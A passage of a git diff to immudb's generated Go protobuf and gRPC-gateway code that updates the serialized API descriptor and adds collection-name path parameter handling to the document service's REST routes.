0x22, 0x4d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x39, 0x1a, + 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, + 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, + 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xac, 0x01, 0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, - 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, - 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, - 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, - 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, - 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, - 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, - 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, - 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x38, 0x22, + 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, + 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xda, 0x01, 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x66, 0x22, 0x33, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, 0x22, 0x27, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, + 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0xac, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x52, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x3e, 0x22, 0x39, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, + 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x7b, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0xac, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x52, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x3e, 0x22, 0x39, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x7b, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, + 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, + 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, + 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, + 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, + 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, + 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2522,8 +2555,8 @@ var file_documents_proto_depIdxs = []int32{ 31, // 21: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision 39, // 22: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 2, // 23: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest - 6, // 24: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest - 9, // 25: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest + 9, // 24: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest + 6, // 25: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest 13, // 26: immudb.model.DocumentService.UpdateCollection:input_type -> immudb.model.UpdateCollectionRequest 11, // 27: immudb.model.DocumentService.DeleteCollection:input_type -> immudb.model.DeleteCollectionRequest 15, // 28: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest @@ -2535,8 +2568,8 @@ var file_documents_proto_depIdxs = []int32{ 33, // 34: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest 35, // 35: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest 3, // 36: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse - 7, // 37: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse - 10, // 38: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse + 10, // 37: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse + 7, // 38: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse 14, // 39: immudb.model.DocumentService.UpdateCollection:output_type -> immudb.model.UpdateCollectionResponse 12, // 40: immudb.model.DocumentService.DeleteCollection:output_type -> immudb.model.DeleteCollectionResponse 16, // 41: immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index 21b9346440..a7a4ace569 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -67,6 +67,24 @@ func local_request_DocumentService_CreateCollection_0(ctx context.Context, marsh } +func request_DocumentService_GetCollections_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq GetCollectionsRequest + var metadata runtime.ServerMetadata + + msg, err := client.GetCollections(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_GetCollections_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq GetCollectionsRequest + var metadata runtime.ServerMetadata + + msg, err := server.GetCollections(ctx, &protoReq) + return msg, metadata, err + +} + func request_DocumentService_GetCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq GetCollectionRequest var metadata runtime.ServerMetadata @@ -121,24 +139,6 @@ func local_request_DocumentService_GetCollection_0(ctx context.Context, marshale } -func request_DocumentService_GetCollections_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq GetCollectionsRequest - var metadata runtime.ServerMetadata - - msg, err := client.GetCollections(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_DocumentService_GetCollections_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq GetCollectionsRequest - var metadata runtime.ServerMetadata - - msg, err := server.GetCollections(ctx, &protoReq) - return msg, metadata, err - -} - func request_DocumentService_UpdateCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq UpdateCollectionRequest var metadata runtime.ServerMetadata @@ -275,6 +275,24 @@ func request_DocumentService_CreateIndex_0(ctx context.Context, marshaler runtim return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + msg, err := client.CreateIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err @@ -292,20 +310,59 @@ func local_request_DocumentService_CreateIndex_0(ctx context.Context, marshaler return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + msg, err := server.CreateIndex(ctx, &protoReq) return msg, metadata, err } +var ( + filter_DocumentService_DeleteIndex_0 = &utilities.DoubleArray{Encoding: map[string]int{"collectionName": 0}, Base: []int{1, 1, 0}, Check: []int{0, 1, 2}} +) + func request_DocumentService_DeleteIndex_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteIndexRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_DeleteIndex_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } @@ -318,11 +375,28 @@ func local_request_DocumentService_DeleteIndex_0(ctx context.Context, marshaler var protoReq DeleteIndexRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_DeleteIndex_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } @@ -343,6 +417,24 @@ func request_DocumentService_InsertDocuments_0(ctx context.Context, marshaler ru return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + msg, err := client.InsertDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err @@ -360,6 +452,24 @@ func local_request_DocumentService_InsertDocuments_0(ctx context.Context, marsha return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + msg, err := server.InsertDocuments(ctx, &protoReq) return msg, metadata, err @@ -377,6 +487,24 @@ func request_DocumentService_ReplaceDocuments_0(ctx context.Context, marshaler r return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["query.collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") + } + + err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) + } + msg, err := client.ReplaceDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err @@ -394,6 +522,24 @@ func local_request_DocumentService_ReplaceDocuments_0(ctx context.Context, marsh return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["query.collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") + } + + err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) + } + msg, err := server.ReplaceDocuments(ctx, &protoReq) return msg, metadata, err @@ -411,6 +557,24 @@ func request_DocumentService_DeleteDocuments_0(ctx context.Context, marshaler ru return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["query.collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") + } + + err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) + } + msg, err := client.DeleteDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err @@ -428,6 +592,24 @@ func local_request_DocumentService_DeleteDocuments_0(ctx context.Context, marsha return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["query.collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") + } + + err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) + } + msg, err := server.DeleteDocuments(ctx, &protoReq) return msg, metadata, err @@ -445,6 +627,24 @@ func request_DocumentService_SearchDocuments_0(ctx context.Context, marshaler ru return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["query.collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") + } + + err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) + } + msg, err := client.SearchDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err @@ -462,6 +662,94 @@ func local_request_DocumentService_SearchDocuments_0(ctx context.Context, marsha return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["query.collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") + } + + err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) + } + + msg, err := server.SearchDocuments(ctx, &protoReq) + return msg, metadata, err + +} + +func request_DocumentService_SearchDocuments_1(ctx context.Context, marshaler runtime.Marshaler, client 